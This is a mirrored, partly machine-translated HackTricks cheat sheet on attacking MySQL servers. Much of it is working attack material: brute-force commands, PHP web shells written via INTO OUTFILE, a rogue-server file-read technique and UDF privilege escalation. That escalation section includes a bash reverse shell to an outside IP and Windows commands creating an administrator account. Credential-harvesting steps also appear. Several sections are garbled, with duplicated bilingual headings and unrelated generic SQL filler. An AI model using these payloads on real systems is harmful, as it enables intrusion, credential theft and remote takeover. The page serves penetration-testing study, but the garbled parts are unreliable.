mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
929 lines
39 KiB
Markdown
929 lines
39 KiB
Markdown
# 3306 - Pentesting Mysql
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **ハッキングのトリックを共有する**ために、PRを**hacktricksリポジトリ**と**hacktricks-cloudリポジトリ**に提出してください。
|
||
|
||
</details>
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としており、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## **基本情報**
|
||
|
||
**MySQL**は、構造化クエリ言語(**SQL**)を使用するフリーオープンソースのリレーショナルデータベース管理システム(RDBMS)です。[ここから](https://www.siteground.com/tutorials/php-mysql/mysql/)。
|
||
|
||
**デフォルトポート:** 3306
|
||
```
|
||
3306/tcp open mysql
|
||
```
|
||
## **接続**
|
||
|
||
### **ローカル**
|
||
```bash
|
||
mysql -u root # Connect to root without password
|
||
mysql -u root -p # A password will be asked (check someone)
|
||
```
|
||
### リモート
|
||
|
||
#### MySQL
|
||
|
||
MySQLは、オープンソースのリレーショナルデータベース管理システムであり、多くのWebアプリケーションで使用されています。MySQLサーバーに対するリモートアクセスをテストするために、以下の手法を使用できます。
|
||
|
||
##### ポートスキャン
|
||
|
||
MySQLサーバーが実行されているホストでポートスキャンを実行し、MySQLのデフォルトポートである3306番ポートが開いているかどうかを確認します。
|
||
|
||
```
|
||
nmap -p 3306 <target_ip>
|
||
```
|
||
|
||
##### デフォルトのクレデンシャル
|
||
|
||
MySQLサーバーには、デフォルトのクレデンシャルが設定されている場合があります。以下のクレデンシャルを試してみてください。
|
||
|
||
```
|
||
Username: root
|
||
Password: (空白)
|
||
```
|
||
|
||
##### ユーザーの辞書攻撃
|
||
|
||
ユーザー名とパスワードの辞書を使用して、MySQLサーバーに対してブルートフォース攻撃を実行します。
|
||
|
||
```
|
||
hydra -L <user_dictionary> -P <password_dictionary> <target_ip> mysql
|
||
```
|
||
|
||
##### SQLインジェクション
|
||
|
||
WebアプリケーションがMySQLデータベースとやり取りする場合、SQLインジェクションの脆弱性が存在する可能性があります。適切なテストベクトルを使用して、SQLインジェクション攻撃を実行します。
|
||
|
||
##### データベースの情報漏洩
|
||
|
||
MySQLサーバーに接続できた場合、データベースの情報を取得することができます。以下のコマンドを使用して、データベースの一覧を表示します。
|
||
|
||
```
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
##### ユーザーの情報漏洩
|
||
|
||
MySQLサーバーに接続できた場合、ユーザーの情報を取得することができます。以下のコマンドを使用して、ユーザーの一覧を表示します。
|
||
|
||
```
|
||
SELECT user FROM mysql.user;
|
||
```
|
||
|
||
##### データベースのダンプ
|
||
|
||
MySQLサーバーに接続できた場合、データベースのダンプを作成することができます。以下のコマンドを使用して、データベースのダンプを作成します。
|
||
|
||
```
|
||
mysqldump -u <username> -p <database_name> > dump.sql
|
||
```
|
||
|
||
##### リモートコード実行
|
||
|
||
MySQLサーバーに接続できた場合、一部のバージョンではリモートコード実行が可能な場合があります。以下のコマンドを使用して、リモートコード実行を試みます。
|
||
|
||
```
|
||
SELECT /*!50000*/ 0x3c3f706870206576616c28245f504f53545b2272616e646f6d5f636f6465225d293b3f3e INTO OUTFILE '/var/www/html/shell.php';
|
||
```
|
||
|
||
これにより、`shell.php`という名前のファイルが作成され、リモートコード実行が可能になります。
|
||
```bash
|
||
mysql -h <Hostname> -u root
|
||
mysql -h <Hostname> -u root@localhost
|
||
```
|
||
## 外部列挙
|
||
|
||
一部の列挙アクションには有効な資格情報が必要です。
|
||
```bash
|
||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||
msf> use auxiliary/scanner/mysql/mysql_version
|
||
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
|
||
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
|
||
msf> use auxiliary/admin/mysql/mysql_enum #Creds
|
||
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
||
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||
```
|
||
### [**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#mysql)
|
||
|
||
### 任意のバイナリデータを書き込む
|
||
```bash
|
||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||
```
|
||
## **MySQLコマンド**
|
||
|
||
MySQL is a popular open-source relational database management system. It is widely used in web applications and is known for its speed and reliability. In this section, we will explore some commonly used MySQL commands for database management and manipulation.
|
||
|
||
### **1. Connecting to MySQL**
|
||
|
||
To connect to a MySQL database, you can use the following command:
|
||
|
||
```bash
|
||
mysql -h <host> -u <username> -p
|
||
```
|
||
|
||
Replace `<host>` with the hostname or IP address of the MySQL server, `<username>` with the username, and `<password>` with the password.
|
||
|
||
### **2. Creating a Database**
|
||
|
||
To create a new database, you can use the `CREATE DATABASE` command:
|
||
|
||
```sql
|
||
CREATE DATABASE <database_name>;
|
||
```
|
||
|
||
Replace `<database_name>` with the desired name for the database.
|
||
|
||
### **3. Selecting a Database**
|
||
|
||
To select a database to work with, you can use the `USE` command:
|
||
|
||
```sql
|
||
USE <database_name>;
|
||
```
|
||
|
||
Replace `<database_name>` with the name of the database you want to select.
|
||
|
||
### **4. Creating Tables**
|
||
|
||
To create a new table in a database, you can use the `CREATE TABLE` command:
|
||
|
||
```sql
|
||
CREATE TABLE <table_name> (
|
||
<column1_name> <column1_type>,
|
||
<column2_name> <column2_type>,
|
||
...
|
||
);
|
||
```
|
||
|
||
Replace `<table_name>` with the desired name for the table, `<column1_name>` with the name of the first column, `<column1_type>` with the data type of the first column, and so on.
|
||
|
||
### **5. Inserting Data**
|
||
|
||
To insert data into a table, you can use the `INSERT INTO` command:
|
||
|
||
```sql
|
||
INSERT INTO <table_name> (<column1_name>, <column2_name>, ...)
|
||
VALUES (<value1>, <value2>, ...);
|
||
```
|
||
|
||
Replace `<table_name>` with the name of the table, `<column1_name>` with the name of the first column, `<column2_name>` with the name of the second column, and so on. Replace `<value1>`, `<value2>`, etc. with the actual values you want to insert.
|
||
|
||
### **6. Querying Data**
|
||
|
||
To retrieve data from a table, you can use the `SELECT` command:
|
||
|
||
```sql
|
||
SELECT <column1_name>, <column2_name>, ...
|
||
FROM <table_name>
|
||
WHERE <condition>;
|
||
```
|
||
|
||
Replace `<column1_name>`, `<column2_name>`, etc. with the names of the columns you want to retrieve. Replace `<table_name>` with the name of the table. Replace `<condition>` with the condition that the retrieved data must meet.
|
||
|
||
### **7. Updating Data**
|
||
|
||
To update data in a table, you can use the `UPDATE` command:
|
||
|
||
```sql
|
||
UPDATE <table_name>
|
||
SET <column1_name> = <new_value1>, <column2_name> = <new_value2>, ...
|
||
WHERE <condition>;
|
||
```
|
||
|
||
Replace `<table_name>` with the name of the table. Replace `<column1_name>`, `<column2_name>`, etc. with the names of the columns you want to update. Replace `<new_value1>`, `<new_value2>`, etc. with the new values you want to set. Replace `<condition>` with the condition that the data to be updated must meet.
|
||
|
||
### **8. Deleting Data**
|
||
|
||
To delete data from a table, you can use the `DELETE FROM` command:
|
||
|
||
```sql
|
||
DELETE FROM <table_name>
|
||
WHERE <condition>;
|
||
```
|
||
|
||
Replace `<table_name>` with the name of the table. Replace `<condition>` with the condition that the data to be deleted must meet.
|
||
|
||
These are just a few examples of the many commands available in MySQL. By mastering these commands, you will be able to perform various tasks related to database management and manipulation.
|
||
```bash
|
||
show databases;
|
||
use <database>;
|
||
connect <database>;
|
||
show tables;
|
||
describe <table_name>;
|
||
show columns from <table>;
|
||
|
||
select version(); #version
|
||
select @@version(); #version
|
||
select user(); #User
|
||
select database(); #database name
|
||
|
||
#Get a shell with the mysql client user
|
||
\! sh
|
||
|
||
#Basic MySQLi
|
||
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
|
||
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
|
||
|
||
#Read & Write
|
||
## Yo need FILE privilege to read & write to files.
|
||
select load_file('/var/lib/mysql-files/key.txt'); #Read file
|
||
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
|
||
|
||
#Try to change MySQL root password
|
||
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
|
||
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
|
||
FLUSH PRIVILEGES;
|
||
quit;
|
||
```
|
||
|
||
```bash
|
||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||
```
|
||
### MySQLの権限列挙
|
||
|
||
MySQLの権限列挙は、データベースサーバー上のユーザーの権限を特定するための重要な手法です。以下に、MySQLの権限列挙に使用できるいくつかのテクニックを示します。
|
||
|
||
#### 1. SHOW GRANTSコマンド
|
||
|
||
SHOW GRANTSコマンドは、ユーザーに与えられた権限を表示するために使用されます。次のコマンドを使用して、特定のユーザーの権限を表示できます。
|
||
|
||
```sql
|
||
SHOW GRANTS FOR 'username'@'localhost';
|
||
```
|
||
|
||
#### 2. INFORMATION_SCHEMAデータベース
|
||
|
||
INFORMATION_SCHEMAデータベースには、MySQLサーバーのメタデータが格納されています。以下のクエリを使用して、ユーザーの権限に関する情報を取得できます。
|
||
|
||
```sql
|
||
SELECT * FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE GRANTEE LIKE '%username%';
|
||
```
|
||
|
||
#### 3. mysql.userテーブル
|
||
|
||
mysql.userテーブルには、MySQLサーバーのユーザーに関する情報が格納されています。次のクエリを使用して、ユーザーの権限に関する情報を取得できます。
|
||
|
||
```sql
|
||
SELECT * FROM mysql.user WHERE user = 'username';
|
||
```
|
||
|
||
これらのテクニックを使用して、MySQLの権限を列挙することができます。これにより、セキュリティ上の脆弱性や潜在的な攻撃経路を特定することができます。
|
||
```sql
|
||
#Mysql
|
||
SHOW GRANTS [FOR user];
|
||
SHOW GRANTS;
|
||
SHOW GRANTS FOR 'root'@'localhost';
|
||
SHOW GRANTS FOR CURRENT_USER();
|
||
|
||
# Get users, permissions & hashes
|
||
SELECT * FROM mysql.user;
|
||
|
||
#From DB
|
||
select * from mysql.user where user='root';
|
||
## Get users with file_priv
|
||
select user,file_priv from mysql.user where file_priv='Y';
|
||
## Get users with Super_priv
|
||
select user,Super_priv from mysql.user where Super_priv='Y';
|
||
|
||
# List functions
|
||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
|
||
#@ Functions not from sys. db
|
||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||
```
|
||
ドキュメントでは、各権限の意味がわかります:[https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
|
||
|
||
### MySQLファイルRCE
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
|
||
[mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
|
||
{% endcontent-ref %}
|
||
|
||
## クライアントによるMySQL任意のファイル読み取り
|
||
|
||
実際には、**テーブルにローカルデータをロードする**ときに、MySQLまたはMariaDBサーバーは**クライアントにファイルの内容を読み取り**、その内容を送信するように要求します。**したがって、自分のMySQLサーバーに接続するようにmysqlクライアントを改ざんできれば、任意のファイルを読み取ることができます。**\
|
||
なお、これは次のような動作です:
|
||
```bash
|
||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||
```
|
||
(「local」という単語に注意)\
|
||
「local」がないと、次のような結果になります:
|
||
```bash
|
||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||
|
||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||
```
|
||
**初期のPoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||
**この論文では、攻撃の完全な説明やRCEへの拡張方法さえ見ることができます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||
**ここでは攻撃の概要を見つけることができます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進する使命を持つこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家にとっての活気ある交流の場です。
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## POST
|
||
|
||
### Mysqlユーザー
|
||
|
||
もしmysqlが**root**として実行されている場合、非常に興味深いことです。
|
||
```bash
|
||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||
```
|
||
#### mysqld.cnfの危険な設定
|
||
|
||
[https://academy.hackthebox.com/module/112/section/1238](https://academy.hackthebox.com/module/112/section/1238)から
|
||
|
||
| **設定** | **説明** |
|
||
| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||
| `user` | MySQLサービスが実行されるユーザーを設定します。 |
|
||
| `password` | MySQLユーザーのパスワードを設定します。 |
|
||
| `admin_address` | 管理ネットワークインターフェースでTCP/IP接続を待ち受けるためのIPアドレスを設定します。 |
|
||
| `debug` | この変数は現在のデバッグ設定を示します(ログ内の機密情報)。 |
|
||
| `sql_warnings` | この変数は、単一行のINSERTステートメントが警告が発生した場合に情報文字列を生成するかどうかを制御します(ログ内の機密情報)。 |
|
||
| `secure_file_priv` | この変数は、データのインポートおよびエクスポート操作の効果を制限するために使用されます。 |
|
||
|
||
### 特権昇格
|
||
```bash
|
||
# Get current user (an all users) privileges and hashes
|
||
use mysql;
|
||
select user();
|
||
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
|
||
|
||
# Get users, permissions & creds
|
||
SELECT * FROM mysql.user;
|
||
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
|
||
|
||
# Create user and give privileges
|
||
create user test identified by 'test';
|
||
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
|
||
|
||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||
\! sh
|
||
```
|
||
### ライブラリを使用した特権昇格
|
||
|
||
もし**mysqlサーバーがrootユーザー**(または他の特権を持つユーザー)として実行されている場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、mysqlを実行しているOSのための**ライブラリ**を作成する必要があります。
|
||
|
||
悪意のあるライブラリは、sqlmapやmetasploitの中にある**`locate "*lib_mysqludf_sys*"`**を実行することで見つけることができます。**`.so`**ファイルは**Linux**のライブラリであり、**`.dll`**ファイルは**Windows**のものです。必要なものを選択してください。
|
||
|
||
もしもこれらのライブラリを**持っていない**場合は、それらを**探す**か、この[**Linux Cコード**](https://www.exploit-db.com/exploits/1518)をダウンロードし、**Linuxの脆弱なマシン内でコンパイル**してください。
|
||
```bash
|
||
gcc -g -c raptor_udf2.c
|
||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||
```
|
||
今、ライブラリを持っているので、特権ユーザー(root?)としてMysqlにログインし、次の手順に従ってください:
|
||
|
||
#### Linux
|
||
```sql
|
||
# Use a database
|
||
use mysql;
|
||
# Create a table to load the library and move it to the plugins dir
|
||
create table npn(line blob);
|
||
# Load the binary library inside the table
|
||
## You might need to change the path and file name
|
||
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
|
||
# Get the plugin_dir path
|
||
show variables like '%plugin%';
|
||
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
|
||
# dump in there the library
|
||
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
|
||
# Create a function to execute commands
|
||
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
|
||
# Execute commands
|
||
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
|
||
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
|
||
```
|
||
#### Windows
|
||
|
||
#### ウィンドウズ
|
||
|
||
##### MySQL Service
|
||
|
||
##### MySQL サービス
|
||
|
||
###### MySQL Enumeration
|
||
|
||
###### MySQL 列挙
|
||
|
||
To enumerate MySQL service on a Windows machine, you can use the following techniques:
|
||
|
||
ウィンドウズマシン上のMySQLサービスを列挙するために、以下のテクニックを使用することができます。
|
||
|
||
###### 1. Port Scanning
|
||
|
||
###### 1. ポートスキャン
|
||
|
||
Perform a port scan to identify if the MySQL service is running on the target machine. You can use tools like Nmap or Masscan for this purpose.
|
||
|
||
ポートスキャンを実行して、ターゲットマシンでMySQLサービスが実行されているかどうかを特定します。この目的のために、NmapやMasscanなどのツールを使用することができます。
|
||
|
||
###### 2. Banner Grabbing
|
||
|
||
###### 2. バナーグラビング
|
||
|
||
Use tools like Telnet or Netcat to connect to the MySQL service port (default is 3306) and grab the banner information. This can provide valuable information about the MySQL version and other details.
|
||
|
||
TelnetやNetcatなどのツールを使用して、MySQLサービスポート(デフォルトは3306)に接続し、バナー情報を取得します。これにより、MySQLのバージョンやその他の詳細な情報を得ることができます。
|
||
|
||
###### 3. Service Enumeration
|
||
|
||
###### 3. サービス列挙
|
||
|
||
Use tools like Metasploit or Nmap scripts to enumerate the MySQL service and gather information about the running version, supported authentication methods, and other details.
|
||
|
||
MetasploitやNmapスクリプトなどのツールを使用して、MySQLサービスを列挙し、実行中のバージョン、サポートされている認証方法、その他の詳細な情報を収集します。
|
||
|
||
###### 4. Default Credentials
|
||
|
||
###### 4. デフォルトの資格情報
|
||
|
||
Try using default credentials for MySQL, such as "root" with no password, to gain unauthorized access to the service.
|
||
|
||
MySQLのデフォルトの資格情報(例:パスワードなしの "root")を使用して、サービスへの不正アクセスを試みます。
|
||
|
||
###### 5. Brute-Force Attacks
|
||
|
||
###### 5. ブルートフォース攻撃
|
||
|
||
If default credentials do not work, you can try brute-forcing the MySQL service using tools like Hydra or Medusa. This involves systematically trying different username and password combinations until a valid one is found.
|
||
|
||
デフォルトの資格情報が機能しない場合、HydraやMedusaなどのツールを使用してMySQLサービスをブルートフォース攻撃することができます。これには、有効な組み合わせが見つかるまで、異なるユーザー名とパスワードの組み合わせをシステム的に試すことが含まれます。
|
||
|
||
###### 6. Exploiting Vulnerabilities
|
||
|
||
###### 6. 脆弱性の悪用
|
||
|
||
If any known vulnerabilities exist in the MySQL service, you can attempt to exploit them using tools like Metasploit or custom scripts.
|
||
|
||
MySQLサービスに既知の脆弱性が存在する場合、Metasploitやカスタムスクリプトなどのツールを使用してそれらを悪用することができます。
|
||
|
||
###### 7. SQL Injection
|
||
|
||
###### 7. SQLインジェクション
|
||
|
||
If the target application is using MySQL as its database, you can try SQL injection attacks to gain unauthorized access to the database or extract sensitive information.
|
||
|
||
ターゲットアプリケーションがデータベースとしてMySQLを使用している場合、SQLインジェクション攻撃を試みて、データベースへの不正アクセスや機密情報の抽出を行うことができます。
|
||
|
||
###### 8. Password Cracking
|
||
|
||
###### 8. パスワードクラッキング
|
||
|
||
If you have obtained a hash of a MySQL user's password, you can use tools like John the Ripper or Hashcat to crack the password and gain unauthorized access to the MySQL service.
|
||
|
||
MySQLユーザーのパスワードのハッシュを取得した場合、John the RipperやHashcatなどのツールを使用してパスワードをクラックし、MySQLサービスへの不正アクセスを行うことができます。
|
||
|
||
###### 9. Privilege Escalation
|
||
|
||
###### 9. 特権昇格
|
||
|
||
If you have gained access to a MySQL user account with limited privileges, you can try to escalate your privileges by exploiting vulnerabilities or misconfigurations in the MySQL service.
|
||
|
||
制限された特権を持つMySQLユーザーアカウントにアクセスできた場合、MySQLサービスの脆弱性や誤った設定を悪用して特権を昇格させることができます。
|
||
|
||
###### 10. Data Exfiltration
|
||
|
||
###### 10. データの外部流出
|
||
|
||
If you have gained unauthorized access to the MySQL service, you can exfiltrate data by extracting it from the database or by executing commands on the target machine.
|
||
|
||
MySQLサービスへの不正アクセスに成功した場合、データベースからデータを抽出したり、ターゲットマシンでコマンドを実行したりすることで、データを外部に流出させることができます。
|
||
```sql
|
||
# CHech the linux comments for more indications
|
||
USE mysql;
|
||
CREATE TABLE npn(line blob);
|
||
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
|
||
show variables like '%plugin%';
|
||
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
|
||
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||
SELECT sys_exec("net user npn npn12345678 /add");
|
||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||
```
|
||
### ファイルからMySQLの認証情報を抽出する
|
||
|
||
_/etc/mysql/debian.cnf_ 内には、ユーザー **debian-sys-maint** の **平文のパスワード** が記載されています。
|
||
```bash
|
||
cat /etc/mysql/debian.cnf
|
||
```
|
||
以下の資格情報を使用して、MySQLデータベースにログインできます。
|
||
|
||
ファイル:_/var/lib/mysql/mysql/user.MYD_ 内には、MySQLユーザーのすべてのハッシュ(データベース内のmysql.userから抽出できるもの)が含まれています。
|
||
|
||
抽出するには、次の手順を実行できます。
|
||
```bash
|
||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||
```
|
||
### ロギングの有効化
|
||
|
||
`/etc/mysql/my.cnf` 内の mysql クエリのロギングを有効化するために、以下の行のコメントを外します:
|
||
|
||
![](<../.gitbook/assets/image (277).png>)
|
||
|
||
### 便利なファイル
|
||
|
||
設定ファイル
|
||
|
||
* windows \*
|
||
* config.ini
|
||
* my.ini
|
||
* windows\my.ini
|
||
* winnt\my.ini
|
||
* \<InstDir>/mysql/data/
|
||
* unix
|
||
* my.cnf
|
||
* /etc/my.cnf
|
||
* /etc/mysql/my.cnf
|
||
* /var/lib/mysql/my.cnf
|
||
* \~/.my.cnf
|
||
* /etc/my.cnf
|
||
* コマンド履歴
|
||
* \~/.mysql.history
|
||
* ログファイル
|
||
* connections.log
|
||
* update.log
|
||
* common.log
|
||
|
||
## デフォルトの MySQL データベース/テーブル
|
||
|
||
{% tabs %}
|
||
{% tab title="information_schema" %}
|
||
ALL\_PLUGINS\
|
||
APPLICABLE\_ROLES\
|
||
CHARACTER\_SETS\
|
||
CHECK\_CONSTRAINTS\
|
||
COLLATIONS\
|
||
COLLATION\_CHARACTER\_SET\_APPLICABILITY\
|
||
COLUMNS\
|
||
COLUMN\_PRIVILEGES\
|
||
ENABLED\_ROLES\
|
||
ENGINES\
|
||
EVENTS\
|
||
FILES\
|
||
GLOBAL\_STATUS\
|
||
GLOBAL\_VARIABLES\
|
||
KEY\_COLUMN\_USAGE\
|
||
KEY\_CACHES\
|
||
OPTIMIZER\_TRACE\
|
||
PARAMETERS\
|
||
PARTITIONS\
|
||
PLUGINS\
|
||
PROCESSLIST\
|
||
PROFILING\
|
||
REFERENTIAL\_CONSTRAINTS\
|
||
ROUTINES\
|
||
SCHEMATA\
|
||
SCHEMA\_PRIVILEGES\
|
||
SESSION\_STATUS\
|
||
SESSION\_VARIABLES\
|
||
STATISTICS\
|
||
SYSTEM\_VARIABLES\
|
||
TABLES\
|
||
TABLESPACES\
|
||
TABLE\_CONSTRAINTS\
|
||
TABLE\_PRIVILEGES\
|
||
TRIGGERS\
|
||
USER\_PRIVILEGES\
|
||
VIEWS\
|
||
INNODB\_LOCKS\
|
||
INNODB\_TRX\
|
||
INNODB\_SYS\_DATAFILES\
|
||
INNODB\_FT\_CONFIG\
|
||
INNODB\_SYS\_VIRTUAL\
|
||
INNODB\_CMP\
|
||
INNODB\_FT\_BEING\_DELETED\
|
||
INNODB\_CMP\_RESET\
|
||
INNODB\_CMP\_PER\_INDEX\
|
||
INNODB\_CMPMEM\_RESET\
|
||
INNODB\_FT\_DELETED\
|
||
INNODB\_BUFFER\_PAGE\_LRU\
|
||
INNODB\_LOCK\_WAITS\
|
||
INNODB\_TEMP\_TABLE\_INFO\
|
||
INNODB\_SYS\_INDEXES\
|
||
INNODB\_SYS\_TABLES\
|
||
INNODB\_SYS\_FIELDS\
|
||
INNODB\_CMP\_PER\_INDEX\_RESET\
|
||
INNODB\_BUFFER\_PAGE\
|
||
INNODB\_FT\_DEFAULT\_STOPWORD\
|
||
INNODB\_FT\_INDEX\_TABLE\
|
||
INNODB\_FT\_INDEX\_CACHE\
|
||
INNODB\_SYS\_TABLESPACES\
|
||
INNODB\_METRICS\
|
||
INNODB\_SYS\_FOREIGN\_COLS\
|
||
INNODB\_CMPMEM\
|
||
INNODB\_BUFFER\_POOL\_STATS\
|
||
INNODB\_SYS\_COLUMNS\
|
||
INNODB\_SYS\_FOREIGN\
|
||
INNODB\_SYS\_TABLESTATS\
|
||
GEOMETRY\_COLUMNS\
|
||
SPATIAL\_REF\_SYS\
|
||
CLIENT\_STATISTICS\
|
||
INDEX\_STATISTICS\
|
||
USER\_STATISTICS\
|
||
INNODB\_MUTEXES\
|
||
TABLE\_STATISTICS\
|
||
INNODB\_TABLESPACES\_ENCRYPTION\
|
||
user\_variables\
|
||
INNODB\_TABLESPACES\_SCRUBBING\
|
||
INNODB\_SYS\_SEMAPHORE\_WAITS
|
||
{% endtab %}
|
||
|
||
{% tab title="mysql" %}
|
||
columns\_priv\
|
||
column\_stats\
|
||
db\
|
||
engine\_cost\
|
||
event\
|
||
func\
|
||
general\_log\
|
||
gtid\_executed\
|
||
gtid\_slave\_pos\
|
||
help\_category\
|
||
help\_keyword\
|
||
help\_relation\
|
||
help\_topic\
|
||
host\
|
||
index\_stats\
|
||
innodb\_index\_stats\
|
||
innodb\_table\_stats\
|
||
ndb\_binlog\_index\
|
||
plugin\
|
||
proc\
|
||
procs\_priv\
|
||
proxies\_priv\
|
||
roles\_mapping\
|
||
server\_cost\
|
||
servers\
|
||
slave\_master\_info\
|
||
slave\_relay\_log\_info\
|
||
slave\_worker\_info\
|
||
slow\_log\
|
||
tables\_priv\
|
||
table\_stats\
|
||
time\_zone\
|
||
time\_zone\_leap\_second\
|
||
time\_zone\_name\
|
||
time\_zone\_transition\
|
||
time\_zone\_transition\_type\
|
||
transaction\_registry\
|
||
user
|
||
{% endtab %}
|
||
|
||
{% tab title="performance_schema" %}
|
||
accounts\
|
||
cond\_instances\
|
||
events\_stages\_current\
|
||
events\_stages\_history\
|
||
events\_stages\_history\_long\
|
||
events\_stages\_summary\_by\_account\_by\_event\_name\
|
||
events\_stages\_summary\_by\_host\_by\_event\_name\
|
||
events\_stages\_summary\_by\_thread\_by\_event\_name\
|
||
events\_stages\_summary\_by\_user\_by\_event\_name\
|
||
events\_stages\_summary\_global\_by\_event\_name\
|
||
events\_statements\_current\
|
||
events\_statements\_history\
|
||
events\_statements\_history\_long\
|
||
